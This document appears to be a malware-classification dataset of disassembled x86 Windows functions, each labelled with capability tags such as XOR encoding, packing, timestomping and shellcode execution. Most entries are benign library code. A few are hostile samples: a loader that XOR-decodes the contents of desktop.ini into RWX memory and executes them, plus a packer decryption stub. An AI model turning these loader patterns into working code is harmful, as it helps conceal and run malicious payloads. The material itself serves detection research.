joyce8/EMBER2024-capa huggingface dataset:
Function at 0x438ca2
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x438a14
pop edx
inc ebx
add ebx, 0x88f0c59e
sub edi, 0x7c115063
call fcn.00438cee
sub ebx, 0xf74fa2fc
xor dword [ecx], edx
and ebx, edi
add ecx, 1
add ebx, ebx
cmp ecx, esi
jne fcn.00438ca2
push 0xc502913f
pop ebx
ret
Function at 0x422937
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00419b87
and dword [ebp - 4], 0
cmp dword [0x42ffe0], 0
mov ebx, eax
jne 0x4229e8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x422a99
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x422a99
push eax
call fcn.00419b15
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42ffe0], eax
call esi
push eax
call fcn.00419b15
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42ffe4], eax
call esi
push eax
call fcn.00419b15
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42ffe8], eax
call esi
push eax
call fcn.00419b15
pop ecx
mov dword [0x42fff0], eax
test eax, eax
je 0x4229e8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00419b15
pop ecx
mov dword [0x42ffec], eax
mov eax, dword [0x42ffec]
cmp eax, ebx
je 0x422a40
cmp dword [0x42fff0], ebx
je 0x422a40
push eax
call fcn.00419b90
push dword [0x42fff0]
mov esi, eax
call fcn.00419b90
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x422a40
test edi, edi
je 0x422a40
call esi
test eax, eax
je 0x422a37
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x422a37
test byte [ebp - 0xc], 1
jne 0x422a40
or dword [ebp + 0x10], 0x200000
jmp 0x422a79
mov eax, dword [0x42ffe4]
cmp eax, ebx
je 0x422a79
push eax
call fcn.00419b90
pop ecx
test eax, eax
je 0x422a79
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x422a79
mov eax, dword [0x42ffe8]
cmp eax, ebx
je 0x422a79
push eax
call fcn.00419b90
pop ecx
test eax, eax
je 0x422a79
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42ffe0]
call fcn.00419b90
pop ecx
test eax, eax
je 0x422a99
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x422a9b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
jmp int.00401219
Function at 0x10008f00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [esp + 0x1c], edx
cmp dword [ebx + 0x58], 0
mov dword [esp + 0x18], ecx
jne 0x100090c1
xor esi, esi
mov dword [esp + 0x14], esi
mov eax, dword [ebx + 0x58]
mov ecx, 3
cmp eax, dword [ebx + 0x5c]
jb 0x10008f94
cmp dword [ebx + 0x58], 8
jae 0x10008f3f
lea eax, [ecx + 5]
jmp 0x10008f59
mov eax, dword [ebx + 0x58]
mul ecx
test edx, edx
ja 0x10009088
jb 0x10008f57
cmp eax, 0xffffffff
ja 0x10009088
shr eax, 1
push 0x3b
push str.D:DevelopmentMillennium_vendor_vcpkg_buildtreeslibgit2_src_v1.4.2_3f39c3e750.clean_src_array.h
push 0xc
push eax
mov dword [esp + 0x20], eax
mov eax, dword [ebx + 0x54]
mov esi, dword [fcn.1005f470]
mov ecx, esi
push eax
call dword [0x1021f564]
call esi
add esp, 0x14
test eax, eax
je 0x10009093
mov esi, dword [esp + 0x14]
mov dword [ebx + 0x54], eax
mov eax, dword [esp + 0x10]
mov dword [ebx + 0x5c], eax
mov edx, dword [ebx + 0x58]
mov eax, dword [ebx + 0x54]
lea ecx, [edx + edx*2]
lea ecx, [eax + ecx*4]
lea eax, [edx + 1]
mov dword [ebx + 0x58], eax
test ecx, ecx
je 0x1000906b
mov eax, dword [esi + 0x10283290]
mov dword [ecx], eax
mov eax, dword [esi + 0x10283298]
add esi, 0xc
mov dword [ecx + 8], eax
mov dword [esp + 0x14], esi
cmp esi, 0x18
jb 0x10008f27
test byte [ebx + 0x60], 1
jne 0x100090c1
lea esi, [ebx + 0x78]
xor ecx, ecx
xor eax, eax
lock cmpxchg dword [esi], ecx
mov edx, eax
mov dword [esp + 0x14], edx
cmp edx, 0xffffffff
jne 0x10009021
mov edx, ebx
lea ecx, [esp + 0x10]
call fcn.10008500
test eax, eax
js 0x1000902a
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 3
call fcn.100415e0
add esp, 4
test eax, eax
js 0x1000902a
mov edx, dword [esp + 0x14]
or eax, 0xffffffff
mov ecx, edx
lock cmpxchg dword [esi], ecx
mov esi, fcn.1003fa30
test edx, edx
je 0x1000902f
mov esi, fcn.1003fa60
mov edx, dword [ebx + 0x38]
test edx, edx
je 0x10009041
mov ecx, ebx
call fcn.10008e50
test eax, eax
js 0x1000906b
mov eax, dword [ebx + 0x3c]
test eax, eax
je 0x100090c1
push dword [ebx + 0x44]
mov ecx, esi
push eax
call dword [0x1021f564]
call esi
add esp, 8
test eax, eax
jne 0x100090c1
mov edx, dword [ebx + 0x3c]
mov ecx, ebx
call fcn.10008e50
test eax, eax
jns 0x100090c1
mov ecx, dword [esp + 0x18]
xor al, al
mov dword [ecx], str..git
mov ecx, dword [esp + 0x1c]
mov dword [ecx], 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.1002bd60
mov dword [eax], str.Out_of_memory
mov eax, dword [ebx + 0x54]
mov esi, dword [fcn.10033600]
mov ecx, esi
push eax
call dword [0x1021f564]
call esi
mov dword [ebx + 0x5c], 0
add esp, 4
mov dword [ebx + 0x58], 0
mov dword [ebx + 0x54], 0
jmp 0x1000906b
mov ecx, dword [esp + 0x18]
mov eax, dword [ebx + 0x54]
pop edi
pop esi
mov dword [ecx], eax
mov ecx, dword [esp + 0x14]
mov eax, dword [ebx + 0x58]
pop ebx
mov dword [ecx], eax
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x10031db0
Capabilities:
Compare security identifiers

Disassembly:
mov eax, 0x2028
call fcn.101e4630
mov eax, dword [0x10282800]
xor eax, esp
mov dword [esp + 0x2024], eax
push esi
mov edx, ecx
mov dword [esp + 0x10], 0
push edi
lea ecx, [esp + 0x18]
xor esi, esi
call fcn.10053c60
test eax, eax
js 0x10031f76
lea eax, [esp + 0x14]
push eax
push esi
push esi
push esi
lea eax, [esp + 0x18]
push eax
push 5
push 1
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_GetNamedSecurityInfoW]
cmp eax, 2
je 0x10031f49
cmp eax, 3
je 0x10031f49
test eax, eax
je 0x10031e30
push str.failed_to_get_security_information
push 2
call fcn.10028e40
add esp, 8
or edi, 0xffffffff
jmp 0x10031f4e
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x10031e55
push str.programdata_configuration_file_owner_is_unknown
push 3
call fcn.10028e40
add esp, 8
or edi, 0xffffffff
jmp 0x10031f4e
push 0x1a
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_IsWellKnownSid]
test eax, eax
jne 0x10031f45
push 0x16
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_IsWellKnownSid]
test eax, eax
jne 0x10031f45
lea eax, [esp + 0x10]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10031f09
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 1
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x10031f09
mov esi, dword [fcn.1005f470]
mov ecx, esi
push 0x726
push str.D:DevelopmentMillennium_vendor_vcpkg_buildtreeslibgit2_src_v1.4.2_3f39c3e750.clean_src_fs_path.c
push dword [esp + 0x14]
call dword [0x1021f564]
call esi
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10031f76
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push esi
push 1
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x10031f31
push esi
mov esi, dword [fcn.10033600]
mov ecx, esi
call dword [0x1021f564]
call esi
add esp, 4
xor esi, esi
push str.programdata_configuration_file_owner_is_not_valid
push 3
call fcn.10028e40
add esp, 8
or edi, 0xffffffff
push esi
mov esi, dword [fcn.10033600]
mov ecx, esi
call dword [0x1021f564]
call esi
add esp, 4
jmp 0x10031f4e
push dword [esi]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x10031f09
xor edi, edi
jmp 0x10031f1b
xor edi, edi
jmp 0x10031f4e
mov edi, 0xfffffffd
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10031f5d
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x2024]
xor ecx, esp
call fcn.101e3b75
add esp, 0x2028
ret
mov ecx, dword [esp + 0x202c]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.101e3b75
add esp, 0x2028
ret
Function at 0x1003b300
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov eax, 0x2018
call fcn.101e4630
mov eax, dword [0x10282800]
xor eax, esp
mov dword [esp + 0x2014], eax
push esi
mov esi, ecx
lea ecx, [esp + 4]
mov edx, esi
call fcn.10053c60
test eax, eax
js 0x1003b368
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1003b368
mov ecx, eax
or ecx, 2
cmp eax, ecx
je 0x1003b381
push ecx
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x1003b381
push esi
push 0x1025ab24
push str.failed_to__s_hidden_bit_for__s
push 2
call fcn.10028e40
add esp, 0x10
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x2014]
xor ecx, esp
call fcn.101e3b75
add esp, 0x2018
ret
mov ecx, dword [esp + 0x2018]
xor eax, eax
pop esi
xor ecx, esp
call fcn.101e3b75
add esp, 0x2018
ret
Function at 0x1003fe20
Capabilities:
Query environment variable

Disassembly:
sub esp, 0xc
push ebx
mov ebx, ecx
mov dword [esp + 0xc], edx
push ebp
xor ebp, ebp
mov dword [esp + 8], 0
push esi
mov ecx, dword [ebx]
mov dword [esp + 0x10], 0xffffffff
mov dword [ebx + 8], ebp
push edi
test ecx, ecx
jne 0x1003fe56
mov dword [ebx], 0x1029182d
mov ecx, 0x1029182d
mov dword [ebx + 4], ebp
cmp dword [ebx + 4], ebp
jbe 0x1003fe5e
mov byte [ecx], 0
lea ecx, [esp + 0x10]
call fcn.1008c890
test eax, eax
js 0x1003ff3d
mov esi, dword [esp + 0x10]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, eax
test edi, edi
je 0x1003fed5
mov esi, dword [fcn.1005f470]
lea eax, [edi + edi]
push 0x2ee
push str.D:DevelopmentMillennium_vendor_vcpkg_buildtreeslibgit2_src_v1.4.2_3f39c3e750.clean_srcutil.c
push eax
mov ecx, esi
call dword [0x1021f564]
call esi
mov ebp, eax
add esp, 0xc
test ebp, ebp
je 0x1003ff3d
mov esi, dword [esp + 0x10]
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, eax
test edi, edi
je 0x1003fed5
push edi
mov edx, ebp
mov ecx, ebx
call fcn.1008c690
add esp, 4
mov dword [esp + 0x14], eax
jmp 0x1003ff09
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1003ff01
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
je 0x1003ff01
push dword [esp + 0x18]
push str.could_not_read_environment_variable__s
push 2
call fcn.10028e40
add esp, 0xc
jmp 0x1003ff09
mov dword [esp + 0x14], 0xfffffffd
push esi
mov esi, dword [fcn.10033600]
mov ecx, esi
call dword [0x1021f564]
call esi
mov esi, dword [fcn.10033600]
add esp, 4
mov ecx, esi
push ebp
call dword [0x1021f564]
call esi
mov eax, dword [esp + 0x18]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0xc
ret

Function at 0x10040190
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100401bd
test al, 1
jne 0x100401a7
xor eax, eax
pop esi
ret
and eax, 0xfffffffe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x100401bd
mov eax, 0xffffffe0
pop esi
ret
call fcn.1003ff70
or eax, 0xffffffff
pop esi
ret

Function at 0x100401d0
Capabilities:
Create directory

Disassembly:
mov eax, 0x2010
call fcn.101e4630
mov eax, dword [0x10282800]
xor eax, esp
mov dword [esp + 0x200c], eax
mov edx, ecx
lea ecx, [esp]
call fcn.10053c60
test eax, eax
jns 0x1004020e
or eax, 0xffffffff
mov ecx, dword [esp + 0x200c]
xor ecx, esp
call fcn.101e3b75
add esp, 0x2010
ret
lea eax, [esp]
push eax
call fcn.101f5b0e
mov ecx, dword [esp + 0x2010]
add esp, 4
xor ecx, esp
call fcn.101e3b75
add esp, 0x2010
ret
Function at 0x10040230
Capabilities:
Delete directory
Delete file

Disassembly:
sub esp, 0x28
mov eax, dword [0x10282800]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x100402d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, 5
jne 0x1004028b
lea eax, [esp + 8]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
je 0x1004028b
mov eax, dword [esp + 8]
and eax, 0x410
cmp eax, 0x410
jne 0x1004028b
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x100402d1
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x100402bb
cmp eax, 5
je 0x100402bb
call fcn.1003ff70
pop edi
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.101e3b75
add esp, 0x28
ret
pop edi
mov eax, 0xffffffe0
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.101e3b75
add esp, 0x28
ret
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.101e3b75
add esp, 0x28
ret

Function at 0x100403d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x28
mov eax, dword [0x10282800]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
lea eax, [esp + 8]
mov edi, ecx
push eax
push 0
push edi
mov esi, edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
je 0x1004042d
test esi, esi
jne 0x1004040d
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.101e3b75
add esp, 0x28
ret
push edi
lea edx, [esp + 0xc]
mov ecx, esi
call fcn.1003b3a0
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.101e3b75
add esp, 0x28
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x10040445
call fcn.101eb45e
mov dword [eax], 2
jmp 0x10040450
call fcn.101eb45e
mov dword [eax], 0xd
call fcn.101eb45e
cmp dword [eax], 2
jne 0x100404c8
cmp byte [esp + 0x34], 0
je 0x100404c8
mov esi, edi
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10040466
sub esi, ecx
sar esi, 1
sub esi, 1
je 0x100404c8
nop word [eax + eax]
movzx eax, word [edi + esi*2]
cmp eax, 0x2f
je 0x100404a7
cmp eax, 0x5c
je 0x100404a7
sub esi, 1
jne 0x10040480
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.101e3b75
add esp, 0x28
ret
xor eax, eax
push edi
mov word [edi + esi*2], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10040475
test al, 0x10
jne 0x100404c8
call fcn.101eb45e
mov dword [eax], 0x14
mov ecx, dword [esp + 0x2c]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.101e3b75
add esp, 0x28
ret
Function at 0x10040610
Capabilities:
Get file attributes

Disassembly:
mov eax, 0x2028
call fcn.101e4630
mov eax, dword [0x10282800]
xor eax, esp
mov dword [esp + 0x2024], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x14], 0
mov esi, 0x1029182d
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], esi
mov bl, 1
mov al, byte [edi]
cmp al, 0x41
jl 0x10040652
cmp al, 0x5a
jle 0x1004065a
cmp al, 0x61
jl 0x10040688
cmp al, 0x7a
jg 0x10040688
cmp byte [edi + 1], 0x3a
jne 0x10040688
mov al, byte [edi + 2]
cmp al, 0x5c
je 0x1004066b
cmp al, 0x2f
jne 0x10040688
mov edx, edi
lea ecx, [esp + 0x1c]
call fcn.10053c60
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
and bl, 0x10
jmp 0x100406de
lea ecx, [esp + 0x10]
call fcn.10030320
test eax, eax
js 0x100406da
push edi
push dword [esp + 0x14]
mov dl, 0x2f
lea ecx, [esp + 0x18]
call fcn.1002b050
add esp, 8
test eax, eax
jne 0x100406b5
lea ecx, [esp + 0x10]
call fcn.10030ed0
mov esi, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
mov edx, esi
call fcn.10053c60
test eax, eax
js 0x100406de
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
and bl, 0x10
jmp 0x100406de
mov esi, dword [esp + 0x10]
cmp dword [esp + 0x14], 0
jbe 0x10040705
test esi, esi
je 0x10040705
cmp esi, 0x1029182c
je 0x10040705
push esi
mov esi, dword [fcn.10033600]
mov ecx, esi
call dword [0x1021f564]
call esi
add esp, 4
mov ecx, dword [esp + 0x2030]
mov al, bl
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.101e3b75
add esp, 0x2028
ret
Function at 0x10040a60
Capabilities:
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2068
call fcn.101e4630
mov eax, dword [0x10282800]
xor eax, esp
mov dword [esp + 0x2064], eax
push esi
push edi
mov edi, edx
mov dword [esp + 0xc], 0
mov edx, ecx
lea ecx, [esp + 0x58]
call fcn.10053c60
test eax, eax
js 0x10040ad2
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [esp + 0x10], eax
test al, 1
je 0x10040ae9
and eax, 0xfffffffe
push eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x10040ae9
push str.failed_to_set_attributes
push 2
call fcn.10028e40
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [esp + 0x2064]
xor ecx, esp
call fcn.101e3b75
mov esp, ebp
pop ebp
ret
mov eax, dword [0x102832d8]
lea edx, [esp + 0x28]
lea ecx, [esp + 0x58]
mov dword [esp + 0x28], 0xc0000000
mov dword [esp + 0x2c], eax
mov dword [esp + 0x3c], 3
mov dword [esp + 0x40], 0x80
mov dword [esp + 0x44], 0
mov dword [esp + 0x30], 0xc
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
call fcn.10040950
mov esi, eax
mov dword [esp + 0x24], esi
test esi, esi
jns 0x10040b49
or edi, 0xffffffff
jmp 0x10040c5b
xorps xmm0, xmm0
movlpd qword [esp + 0x1c], xmm0
movlpd qword [esp + 0x14], xmm0
test edi, edi
jne 0x10040b8c
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
jmp 0x10040c26
movups xmm0, xmmword [edi]
push 0
push 0x989680
movd ecx, xmm0
psrldq xmm0, 4
movd eax, xmm0
add ecx, 0xb6109100
adc eax, 2
push eax
push ecx
call fcn.101e3b90
movups xmm0, xmmword [edi]
mov esi, eax
mov ecx, edx
mov edx, 0xa
psrldq xmm0, 8
movd eax, xmm0
movups xmm0, xmmword [edi + 0x10]
push 0
imul edx
push 0x989680
add esi, eax
mov dword [esp + 0x24], esi
adc ecx, edx
mov dword [esp + 0x28], ecx
movd ecx, xmm0
psrldq xmm0, 4
movd eax, xmm0
add ecx, 0xb6109100
adc eax, 2
push eax
push ecx
call fcn.101e3b90
movups xmm0, xmmword [edi + 0x10]
mov esi, eax
mov ecx, edx
mov edx, 0xa
psrldq xmm0, 8
movd eax, xmm0
imul edx
add esi, eax
mov dword [esp + 0x14], esi
mov esi, dword [esp + 0x24]
adc ecx, edx
mov dword [esp + 0x18], ecx
push esi
call fcn.101f5f02
add esp, 4
cmp eax, 0xffffffff
jne 0x10040c38
or edi, eax
jmp 0x10040c52
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x20]
push ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
neg eax
sbb edi, edi
neg edi
dec edi
push esi
call fcn.101ff2b1
add esp, 4
mov eax, dword [esp + 0x10]
cmp eax, dword [esp + 0xc]
je 0x10040c83
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x10]
mov esi, eax
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [esp + 0x206c]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.101e3b75
mov esp, ebp
pop ebp
ret